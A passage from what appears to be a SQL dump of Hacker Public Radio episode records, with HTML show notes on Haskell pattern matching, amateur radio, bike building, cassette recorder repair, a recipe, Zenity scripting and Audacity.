Eq</code></pre>\r\n<p>Essentially it just lists which character has what information about certain other character. So when displaying information to players, this table has to be referenced in order to know how much to reveal to them.</p>\r\n<p>Different types of intels are listed as <code>PersonIntel</code>:</p>\r\n<pre><code>data PersonIntel =\r\n    Stats\r\n    | Demesne\r\n    | FamilyRelations\r\n    | SecretRelations\r\n    | Opinions OpinionIntel\r\n    | Traits\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>Person related data is sent back to client in <code>PersonReport</code> record (I’m not copying it here as it’s relatively large). We can have a look on how one field is processed.</p>\r\n<p>For example, in case of traits. <code>PersonReport</code> has field <code>personReportTraits :: !(Maybe [TraitReport])</code>. Exclamation mark in the beginning of type instructs Haskell that this value should be computed immediately when record is created and not left for later. I’m doing this as I know for sure that it’ll always be used and there’s no advantage on delaying computation for the time when it might be needed.</p>\r\n<p>Report creating (high level):</p>\r\n<pre><code>personReportTraits = if Traits `elem` targetIntel\r\n                        then Just $ traitReport &lt;$&gt; targetTraits\r\n                        else Nothing</code></pre>\r\n<p>That first checks that <code>Traits</code> level of intel is available and then creates list of trait reports (one for each trait person has). These have things like trait name, description, trait type and how long the trait is valid. Having separate name and description fields makes it easier to work on client side as I don’t have to come up with descriptions there anymore. I can just use what the server sends to me and be happy.</p>\r\n<p>Comments, questions and feedback are welcome. Best way to catch me nowadays is email or fediverse where I’m <code>tuturto@mastodon.social</code>.</p>\r\n',364,107,0,'CC-BY-SA','modelling,data',0,0,1),
(2867,'2019-07-30','The Kenwood TS940S Automatic Tuning Unit',784,'I cover the Automatic Tuning unit on my Kenwood TS940S, re comment from HPR2668','<p>In this episode I let you hear the operation of my Kenwood TS940S automatic tuning unit. It had been a while since I’d last transmitted and I was a bit nervous that it might not even work – apparently it still does.</p>\r\n<ul>\r\n<li><p>Link to my original show that had a comment from Michael<br />\r\nhpr2668 :: Explaining the controls on my Amateur HF Radio Part 3<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2668\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2668</a></p></li>\r\n<li><p>Link to article about the Kenwood TS940-S<br />\r\n<a href=\"https://www.universal-radio.com/catalog/hamhf/ts940s.html\" class=\"uri\">https://www.universal-radio.com/catalog/hamhf/ts940s.html</a></p></li>\r\n<li><p>Information on the Automatic Tuning Unit located internally within the Kenwood TS940S apparently its an optional Unit with Part number AT-940<br />\r\n<a href=\"https://www.universal-radio.com/catalog/hamhf/at940.html\" class=\"uri\">https://www.universal-radio.com/catalog/hamhf/at940.html</a></p></li>\r\n<li><p>if you really want to dive into more detail about Tuning units feel free to follow this link in wikipedia.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Antenna_tuner\" class=\"uri\">https://en.wikipedia.org/wiki/Antenna_tuner</a></p></li>\r\n<li><p>Dipole information from wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Dipole_antenna\" class=\"uri\">https://en.wikipedia.org/wiki/Dipole_antenna</a></p></li>\r\n<li><p>40M band allocation information from Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/40-meter_band\" class=\"uri\">https://en.wikipedia.org/wiki/40-meter_band</a></p></li>\r\n<li><p>Noise Blanker information from wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Noise_blanker\" class=\"uri\">https://en.wikipedia.org/wiki/Noise_blanker</a></p></li>\r\n</ul>\r\n',201,43,1,'CC-BY-SA','Amateur, Radio, Ham',0,0,1),
(2865,'2019-07-26','The YouTube channels I really like',857,'Just some random thoughts on some random youtube channels','<ul>\r\n<li><p>The Late Show with Stephen Colbert<br />\r\n(<a href=\"https://www.youtube.com/channel/UCMtFAi84ehTSYSE9XoHefig\" class=\"uri\">https://www.youtube.com/channel/UCMtFAi84ehTSYSE9XoHefig</a>)</p></li>\r\n<li><p>CuriousMarc<br />\r\nApollo AGC Part 1: Restoring the computer that put man on the Moon<br />\r\n(<a href=\"https://www.youtube.com/watch?v=2KSahAoOLdU\" class=\"uri\">https://www.youtube.com/watch?v=2KSahAoOLdU</a>)</p></li>\r\n<li><p>Virtual AGC — AGS — LVDC — Gemini<br />\r\n(<a href=\"https://github.com/virtualagc/virtualagc\" class=\"uri\">https://github.com/virtualagc/virtualagc</a>)<br />\r\n(<a href=\"https://www.ibiblio.org/apollo/\" class=\"uri\">https://www.ibiblio.org/apollo/</a>)</p></li>\r\n<li><p>Moshix<br />\r\n(<a href=\"https://www.youtube.com/user/moshe5760\" class=\"uri\">https://www.youtube.com/user/moshe5760</a>)</p></li>\r\n<li><p>Death Wears Bunny Slippers<br />\r\n(<a href=\"https://www.youtube.com/channel/UCd50A5qLv8FemVufSvDgkCQ\" class=\"uri\">https://www.youtube.com/channel/UCd50A5qLv8FemVufSvDgkCQ</a>)</p></li>\r\n</ul>\r\n',369,0,0,'CC-BY-SA','apollo,agc,youtube',0,0,1),
(2888,'2019-08-28','Pattern matching in Haskell',1236,'tuturto talks about one of their favourite features in Haskell','<p>Pattern matching is one of those features of Haskell that immediately got me interested as it reduces amount of branching inside of functions I write. Basic idea is that if value constructors are for making data, pattern matching is for taking it apart.</p>\r\n<p>First example is a function that takes a <code>Bool</code> and returns a respective <code>String</code>:</p>\r\n<pre><code>boolToString :: Bool -&gt; String\r\nboolToString n =\r\n    if n\r\n        then &quot;True&quot;\r\n        else &quot;False&quot;</code></pre>\r\n<p>Nothing too fancy, just an <code>if</code> expression inside a function. We can move that <code>if</code> out of there though and define exactly same functionality, but with patterns:</p>\r\n<pre><code>boolToString :: Bool -&gt; String\r\nboolToString True =\r\n    &quot;True&quot;\r\n\r\nboolToString False =\r\n    &quot;False&quot;</code></pre>\r\n<p>There’s one definition for <code>boolToString</code>, but two different patterns used.</p>\r\n<p>Second example is bit more complex, this time we have <code>Maybe Int</code> that is being turned into <code>String</code>. <code>Maybe</code> has two value constructors <code>Nothing</code> and <code>Just a</code>. We have two cases for <code>Just</code>, specific one for when it’s <code>Just 1</code> and more general one <code>Just n</code> that takes care of rest of the cases.</p>\r\n<pre><code>isBig :: Maybe Int -&gt; String\r\nisBig Nothing =\r\n    &quot;Not at all&quot;\r\n\r\nisBig (Just 1) =\r\n    &quot;Just perfect&quot;\r\n\r\nisBig (Just n) =\r\n    if n &lt; 10\r\n        then &quot;Just slightly&quot;\r\n        else &quot;Definitely is&quot;</code></pre>\r\n<p>Some example usage:</p>\r\n<pre><code>&gt; isBig Nothing\r\n&quot;Not at all&quot;\r\n&gt; isBig $ Just 0\r\n&quot;Just perfect&quot;\r\n&gt; isBig $ Just 50\r\n&quot;Definitely is&quot;</code></pre>\r\n<p>Pattern matching isn’t limited to algebraic datatypes that we have been working with so far. We can do same things with records. Below is an function used to calculate total fee when cost and customer are known. Each customer can have their own discount percentage, but in addition we’re giving 10% discount to VIP customers:</p>\r\n<pre><code>data Customer = Customer\r\n    { customerName :: String\r\n    , customerDiscountPct :: Double\r\n    , vipCustomer :: Bool\r\n    }\r\n\r\ntotalFee :: Double -&gt; Customer -&gt; Double\r\ntotalFee bill cust@(Customer { vipCustomer = True }) =\r\n    bill * 0.9 * customerDiscountPct cust\r\n\r\ntotalFee bill cust =\r\n    bill * customerDiscountPct cust</code></pre>\r\n<p>There’s two cases of <code>totalFee</code> function. First one is for when passed in <code>Customer</code> has <code>vipCustomer</code> field <code>True</code>. Second one takes care of general case. In the first case we’re using <code>@</code> to bind <code>Customer</code> as a whole to <code>cust</code> name.</p>\r\n<p>Lists can be matched too. The basic idea is exactly the same:</p>\r\n<ul>\r\n<li><code>(x:xs)</code> matches a list with at least one item, <code>x</code> is first item, <code>xs</code> is rest of the items (might be an empty list)</li>\r\n<li><code>(x:y:_)</code> matches two first items in a list of at least two items, <code>x</code> is first, <code>y</code> is second, <code>_</code> is rest</li>\r\n<li><code>[]</code> matches empty list</li>\r\n<li><code>(x:[])</code> matches list of exactly one item</li>\r\n</ul>\r\n<p>Underscore <code>_</code> matches to everything without binding value to a name. This is useful when you don’t care about exact value, so you don’t want to give it a name. One could give it a name, but compiler will issue a warning if there are unused values in the code.</p>\r\n<p>Next example is recursively counting amount if items in a list using pattern matching:</p>\r\n<pre><code>count :: [a] -&gt; Int\r\ncount [] =\r\n    0\r\n\r\ncount (x:xs) =\r\n    1 + count xs</code></pre>\r\n<p>Fibonacci series is series of number which starts with 0, 1 and then rest of the numbers are sum of two previous ones: 0, 1, 1, 2, 3, 5, 8…</p>\r\n<p>To calculate number in series, we can write following code (this is extremely slow way of calculating them by the way):</p>\r\n<pre><code>fibonacci :: Int -&gt; Int\r\nfibonacci 0 =\r\n    0\r\n\r\nfibonacci 1 =\r\n    1\r\n\r\nfibonacci n =\r\n    fibonacci (n - 1) + fibonacci (n - 2)</code></pre>\r\n<p>Last trick in our sleeve for now is <code>case</code> expression. This allows us to do pattern matching inside of a function. Otherwise it works in the same way. Our fibonacci function could be defined as:</p>\r\n<pre><code>fibonacci :: Int -&gt; Int\r\nfibonacci n =\r\n    case n of\r\n        0 -&gt;\r\n            0\r\n\r\n        1 -&gt;\r\n            1\r\n\r\n        n -&gt;\r\n            fibonacci (n - 1) + fibonacci (n - 2)</code></pre>\r\n<p>Questions, comments and feedback are welcome. Best way to catch me nowadays is either email or in fediverse where I’m <code>tuturto@mastodon.social</code></p>\r\n',364,107,0,'CC-BY-SA','pattern matching',0,0,1),
(2869,'2019-08-01','building a bike, following in John Kulp\'s footsteps',694,'turning a couple of old bikes into a long wheel base recumbent','<ul>\r\n<li><p>recycled recumbent<br />\r\n<a href=\"https://sites.google.com/site/recycledrecumbents/home\" class=\"uri\">https://sites.google.com/site/recycledrecumbents/home</a></p></li>\r\n<li><p>wisil recumbent<br />\r\n<a href=\"https://www.wisil.recumbents.com/home/\" class=\"uri\">https://www.wisil.recumbents.com/home/</a></p></li>\r\n<li><p>hpr 1282<br />\r\n<a href=\"https://www.hackerpublicradio.org/eps.php?id=1282\" class=\"uri\">https://www.hackerpublicradio.org/eps.php?id=1282</a></p></li>\r\n<li><p>cj hoyle<br />\r\n<a href=\"https://www.youtube.com/user/cjhoyle\" class=\"uri\">https://www.youtube.com/user/cjhoyle</a></p></li>\r\n<li><p>toledo bike<br />\r\n<a href=\"https://www.toledobikes.org/\" class=\"uri\">https://www.toledobikes.org/</a></p></li>\r\n</ul>\r\n',326,115,0,'CC-BY-SA','bicycle, recumbent, recycle',0,0,1),
(2872,'2019-08-06','Shoe Lace Tips',472,'In this episode I give some shoe lace tips','<p>In this episode I give some shoe lace tips</p>\r\n<ul>\r\n<li><p>Shoe Laces Ted Talk with over 6.5 million views<br />\r\n<a href=\"https://www.ted.com/talks/terry_moore_how_to_tie_your_shoes?language=en\" class=\"uri\">https://www.ted.com/talks/terry_moore_how_to_tie_your_shoes?language=en</a></p></li>\r\n<li><p>Some further info on the shoe lace knot from the wonderful wikipedia site<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Shoelace_knot\" class=\"uri\">https://en.wikipedia.org/wiki/Shoelace_knot</a></p></li>\r\n<li><p>Fast tie shoe laces recommended for anyone in a hurry<br />\r\n<a href=\"https://www.amazon.co.uk/Gritin-Elastic-Laces-Black-Reflective/dp/B07GYM9RC8/ref=cts_sp_3_vtp\" class=\"uri\">https://www.amazon.co.uk/Gritin-Elastic-Laces-Black-Reflective/dp/B07GYM9RC8/ref=cts_sp_3_vtp</a></p></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','hacks, tips',0,0,1),
(2874,'2019-08-08','Repair of G.E. Variable Speed Cassette Recorder',1228,'I talk about repairing a 1997 handheld cassette recorder and demonstrate its use.','<p>I found a pretty cool little handheld cassette recorder at Salvation Army Thrift Store for 99 cents yesterday. It was non-functioning. I was able to get it working again by 1. cleaning corrosion from battery compartment; 2. replacing the nasty gooey belt; 3.  repairing the battery compartment, which had a broken-off spring for one of the battery\'s negative connections. The most interesting feature of the device is that it has a variable-speed knob for playback at higher speed. I demonstrate this in the podcast.</p>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157709909168017\" title=\"G.E. Variable Speed Cassette Recorder Repair\" target=\"_blank\"><img src=\"https://live.staticflickr.com/65535/48384093097_f35a19caaa.jpg\" width=\"500\" height=\"281\" alt=\"G.E. Variable Speed Cassette Recorder Repair\"></a></p>\r\n\r\n<h2>Links to Stuff Mentioned in the Episode</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://www.flickr.com/photos/137675441@N05/albums/72157709909168017\" target=\"_blank\">Flickr Photo Album</a></li>\r\n	<li><a href=\"https://www.ebay.com/sch/i.html?_from=R40&_trksid=m570.l1313&_nkw=assorted+cassette+belts&_sacat=0\" target=\"_blank\">Assorted cassette deck belts on eBay</a></li>\r\n	<li><a href=\"https://kahoot.com/\" target=\"_blank\">Kahoot!</a> Make Learning Awesome.</li>\r\n</ul>\r\n\r\n\r\n',238,0,0,'CC-BY-SA','Recording, Audio, Tape, Cassette, Recording Devices, Tape Speeds, Electronics, Repair',0,0,1),
(2875,'2019-08-09','cutting up the frames',456,'you\'ve got to crack some eggs to make an omelette','<h2 id=\"drawings\">Drawings</h2>\r\n<p><a href=\"https://sites.google.com/site/recycledrecumbents/ez-clone-drawings\" class=\"uri\">https://sites.google.com/site/recycledrecumbents/ez-clone-drawings</a></p>\r\n<h2 id=\"pictures\">Pictures</h2>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2875/picture01-one-of-the-donors.jpg\" alt=\"picture01-one-of-the-donors.jpg\" /><br />\r\nOne of the donors</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2875/picture02-dross.jpg\" alt=\"picture02-dross.jpg\" /><br />\r\nDross</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2875/picture03-the-gold.jpg\" alt=\"picture03-the-gold.jpg\" /><br />\r\nThe gold</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2875/picture04-first-cut.jpg\" alt=\"picture04-first-cut.jpg\" /><br />\r\nFirst cut</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2875/picture05-cutting-tubes.jpg\" alt=\"picture05-cutting-tubes.jpg\" /><br />\r\nCutting tubes</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2875/picture06-workmate.jpg\" alt=\"picture06-workmate.jpg\" /><br />\r\nWorkmate</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2875/picture07-frame2-parts.jpg\" alt=\"picture07-frame2-parts.jpg\" /><br />\r\nFrame 2 parts</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2875/picture08-frame1-parts.jpg\" alt=\"picture08-frame1-parts.jpg\" /><br />\r\nFrame 1 parts</p>\r\n',326,115,0,'CC-BY-SA','bicycle, recumbent, recycle',0,0,1),
(2876,'2019-08-12','Sausage Orzotto',2543,'A favorite recipe, dictated while it is cooked.','<p>This recipe has been heavily adapted from one I received from <a href=\"https://www.hellofresh.com\">Hello Fresh</a> - credit where credit\'s due!</p>\r\n<p>Ingredients:</p>\r\n<ul>\r\n<li>1 lb (500g) Sausage (chicken or pork works)</li>\r\n<li>1 ½ cups (192g) Orzo</li>\r\n<li>2 tbsp (40g) Butter</li>\r\n<li>Olive oil</li>\r\n<li>Zucchini</li>\r\n<li>Shallot</li>\r\n<li>1 - 2 tbsp (20-40g) Italian Seasoning</li>\r\n<li>Pepper</li>\r\n<li>2 cups (475ml) water</li>\r\n<li>1 tsp (4g) stock concentrate</li>\r\n<li>16oz (450g?? One normal can, whatever that is) Crushed or diced tomatoes</li>\r\n<li>1 cup (226g) Mozzarella cheese (shredded)</li>\r\n<li>Panko Breadcrumbs</li>\r\n<li>Salt (Optional)</li>\r\n</ul>\r\n<ol>\r\n<li>Mince half the shallot (or all of it, I\'m not the boss of you). Trim and shred the zucchini. Prepare a mixing bowl lined with a paper towel.</li>\r\n<li>Preheat oven to 500 F</li>\r\n<li>Drizzle some oil into a large oven-proof pan (if you\'ve got one) and cook the sausage, with half the Italian seasoning, over medium heat, breaking it into bite-sized pieces as you cook it. Transfer to the mixing bowl for later.</li>\r\n<li>Add another drizzle of olive oil, and shred the zucchini into the pan. Add shallot, and cook until the zucchini shrinks to ⅔ of its size (about 5 minutes). Transfer to the mixing bowl with the sausage.</li>\r\n<li>Wipe out the pan with a paper towel. Melt 1 tbsp of butter over medium heat, and add orzo, stirring pretty frequently for 2-3 minutes.</li>\r\n<li>Stir in the rest of the Italian seasoning, along with the water, tomatoes, and stock concentrate. Bring to a boil and stir until orzo is done - around 12 - 14 minutes.</li>\r\n<li>Drain excess liquid from the zucchini and sausage.</li>\r\n<li>Mix sausage &amp; zucchini into orzo mixture, with 1 tbsp of butter. Season with salt &amp; pepper, if you want.</li>\r\n<li>If you don\'t have an oven-proof pan, you\'re going to want to transfer everything over to a large baking dish of some kind. 13x9&quot; works for me.</li>\r\n<li>Cover the mixture in mozzarella cheese and panko breadcrumbs - in that order!</li>\r\n<li>Place dish in the oven for 2-3 minutes, until the breadcrumbs are toasted.</li>\r\n</ol>\r\n<p>Note: If these metric measurements seem crazy, they probably are.</p>\r\n',196,0,1,'CC-BY-SA','food,cooking',0,0,1),
(2877,'2019-08-13','Using Zenity with Pdmenu',1358,'Zenity is a rather cool program that will display GTK+ dialogs from a script','<h2 id=\"overview\">Overview</h2>\r\n<p>I use <code>pdmenu</code> a lot to help me do work on my main desktop PC. I did an HPR show on <a href=\"https://hackerpublicradio.org/eps.php?id=2443\" title=\"hpr2443 :: pdmenu\"><code>pdmenu</code></a> on 13 December 2017 and the author <a href=\"https://joeyh.name/\" title=\"Joey Hess\">Joey Hess</a> responded in show <a href=\"https://hackerpublicradio.org/eps.php?id=2459\" title=\"hpr2459 :: free software&#39;s long tail\">2459</a>.</p>\r\n<p>In the intervening time I have also integrated <a href=\"https://help.gnome.org/users/zenity/\" title=\"Zenity Manual\"><code>Zenity</code></a> into my menus. This is a GUI tool which generates a number of different pop-up windows known as <em>dialogs</em>, which can display information, or into which information can be typed. The capabilities provided by <code>pdmenu</code> are a little too basic to enable me to do what I need to do.</p>\r\n<p>I thought it might be of interest to show some examples of how I use this tool with <code>pdmenu</code>.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2877/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Pdmenu:\r\n<ul>\r\n<li><a href=\"https://joeyh.name/code/pdmenu/\">Pdmenu website</a></li>\r\n<li><a href=\"https://joeyh.name/\">Joey Hess</a></li>\r\n</ul></li>\r\n<li>Zenity\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Zenity\">Wikipedia page</a></li>\r\n<li><a href=\"https://help.gnome.org/users/zenity/\">Zenity Manual</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','zenity,Bash scripting,pdmenu,GTK+',0,0,1),
(2879,'2019-08-15','Describing how I listen to podcasts PART 1',1877,'This episode badly covers the console audio player moc.','<p>In this series I cover how I listen to podcasts and how the process has change over the years. This episode badly covers the console audio player <code>moc</code>.</p>\r\n<ul>\r\n<li><p>Link to HPR 2112 (Home Server) episode mentioned in this podcast<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2112\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2112</a></p></li>\r\n<li><p>My first MP3 player was a Jelly Bean shaped MP3 player apparently known as an S1 MP3 player<br />\r\n<a href=\"https://en.wikipedia.org/wiki/S1_MP3_player\" class=\"uri\">https://en.wikipedia.org/wiki/S1_MP3_player</a></p></li>\r\n<li><p>Sansa Clip info on wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Sansa_Clip#Sansa_Clip\" class=\"uri\">https://en.wikipedia.org/wiki/Sansa_Clip#Sansa_Clip</a></p></li>\r\n<li><p>Raspberry Pi<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\" class=\"uri\">https://en.wikipedia.org/wiki/Raspberry_Pi</a></p></li>\r\n<li><p>Music On Console (MOC) is an ncurses-based console audio player for Linux/UNIX<br />\r\n</p>\r\n<ul>\r\n<li><p>Here is a link to information about moc on wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Music_on_Console\" class=\"uri\">https://en.wikipedia.org/wiki/Music_on_Console</a></p></li>\r\n<li>On a Debian based system Moc can be installed by issuing the following command<br />\r\n</li>\r\n</ul>\r\n<pre><code>      sudo apt-get install moc</code></pre>\r\n<ul>\r\n<li>Link to Moc, Music On Console homepage<br />\r\n<a href=\"https://moc.daper.net/\" class=\"uri\">https://moc.daper.net/</a></li>\r\n</ul></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','Audio, Podcasts, Linux, Ncurses',0,0,1),
(2884,'2019-08-22','TASCAM Porta 02 MiniStudio 4-Track Cassette Recorder Demonstration',4636,'I demonstrate the use of a vintage home studio device','<p>I discuss and demonstrate the latest retro gadget I found at the flea market last weekend, a TASCAM Porta 02 MiniStudio 4-Track Cassette Recorder. It was in a bin full of junk—filthy, lacking its power supply, and I got it for only $5. I hacked a power supply, disassembled it completely, washed everything thoroughly, and put it back together. It worked perfectly with the exception of the pause button. This has been one of the most fun projects I can remember, especially because my daughter is into it too, and she\'s learning how to make multi-track recordings. I always wanted a 4-track when I was in high school but never had one. Now I do!</p>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157710065663101\" title=\"TSACAM Porta 02 4-Track Recording Demonstration\"><img src=\"https://live.staticflickr.com/65535/48445093092_64359d6b68.jpg\" width=\"500\" height=\"375\" alt=\"TSACAM Porta 02 4-Track Recording Demonstration\"></a></p>\r\n\r\n<h2>Links to info about stuff I mentioned</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://flic.kr/s/aHsmFL2UUv\" target=\"_blank\">Flickr album with photos from this recording session</a></li>\r\n	<li><a href=\"https://flic.kr/s/aHsmFyCT82\" target=\"_blank\">Flickr album with photos from the TASCAM machine restoration</a></li>\r\n	<li>My earlier episode about the Marantz recorder: <a href=\"https://hackerpublicradio.org/eps.php?id=1844\">hpr1844 :: The Marantz PMD 660 Professional Solid State Recorder</a></li>\r\n	<li>My video of the TASCAM testing, power supply hack, disassembly, and cleaning: <a href=\"https://youtu.be/HhM6UwBhykM\" target=\"_blank\">Watch on YouTube</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Multitrack_recording\" target=\"_blank\">Multitrack recording</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/G%C3%BCiro\" target=\"_blank\">Güiro</a> (mine is metal)</li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Claves\" target=\"_blank\">Clave</a> (instrument) and <a href=\"https://en.wikipedia.org/wiki/Clave_(rhythm)\" target=\"_blank\">clave rhythm</a> (you heard the 2-3 clave rhythm on this podcast)</li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Harmonica#Diatonic_harmonicas\" target=\"_blank\">Diatonic harmonica</a></li>\r\n	<li>	<a href=\"https://en.wikipedia.org/wiki/Chromatic_harmonica\" target=\"_blank\">Chromatic harmonica</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Microphone\" target=\"_blank\">Microphone types</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Phantom_power\" target=\"_blank\">Phantom power</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Clipping_(audio)\" target=\"_blank\">Clipping</a></li>\r\n	<li>EQ: <a href=\"https://en.wikipedia.org/wiki/Equalization_(audio)\" target=\"_blank\">Equalization</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Audio_mixing_(recorded_music)\">Mixing</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Mastering_(audio)\">Mastering</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Demo_(music)\">Demo Recordings</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Portastudio\">The TASCAM PortaStudio</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/David_Mead_(musician)\" target=\"_blank\">David Mead</a> (his first two albums were with RCA, not Polygram</li>\r\n	<li>My first test recording on the restored TASCAM Porta 02: <a href=\"https://soundcloud.com/jonkulp/tascam-4-track-cassette-recorder-test-1-vamos-a-bailar\" target=\"_blank\">Listen on Soundcloud</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','Multi-Track Recording, Recording Devices, Home Recording Studios, Cassette Tapes, Vintage Recording ',0,0,1),
(2881,'2019-08-19','Automatically split album into tracks in Audacity',250,'Inspired by a Jon Kulp show, Ken splits a large recording based on silence between tracks','<p>\r\nIn this show Ken, recalls <a href=\"https://hackerpublicradio.org/eps.php?id=1771\">hpr1771 :: Audacity: Label Tracks</a> by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a> to add Labels to an large audio file.\r\n</p>\r\n\r\n<ul>\r\n<li>Tidy up the audio to the point where you are happy with it, but do not truncate silence.</li>\r\n<li>Find the first break in the audio and check how long it is. In my case it was 4 seconds.</li>\r\n<li>Select the entire track and select <em>Analyze>Silence Finder</em></li>\r\n<li>Change <em>Maximum duration of silence</em> to just under the length of the break. In my case I set it to 3 seconds</li>\r\n<li>This will then create a series of labels on a new Label track</li>\r\n<li>Edit the names of each as desired.</li>\r\n<li>Select File > Export > Export Multiple</li>\r\n<li>Select Split Files based on Labels</li>\r\n<li>Name files using Label/Track Name</li>\r\n</ul>',30,0,1,'CC-BY-SA','Audacity, hpr1771, Detect Silence, Split Track, Label',0,0,1),
(3156,'2020-09-07','HPR Community News for August 2020',4202,'HPR Volunteers talk about shows released and comments posted in August 2020','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=387\" target=\"_blank\">Cedric De Vroey</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3131\" target=\"_blank\">3131</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-08-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3131\" target=\"_blank\">HPR Community News for July 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3132\" target=\"_blank\">3132</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-08-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3132\" target=\"_blank\">Keeping track of where I am</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3133\" target=\"_blank\">3133</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-08-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3133\" target=\"_blank\">Quick tip - Using MPV with Youtube links</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3134\" target=\"_blank\">3134</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-08-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3134\" target=\"_blank\">Tomorrowland 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3135\" target=\"_blank\">3135</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-08-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3135\" target=\"_blank\">Quick Tips for May 20 20</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3136\" target=\"_blank\">3136</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-08-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3136\" target=\"_blank\">Matchbox Restoration Part 6</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3137\" target=\"_blank\">3137</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-08-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3137\" target=\"_blank\">Coronavirus Update 2020-07-30</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3138\" target=\"_blank\">3138</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-08-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3138\" target=\"_blank\">Linux Inlaws S01E12: Reminiscing in FLOSS Weekly</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" 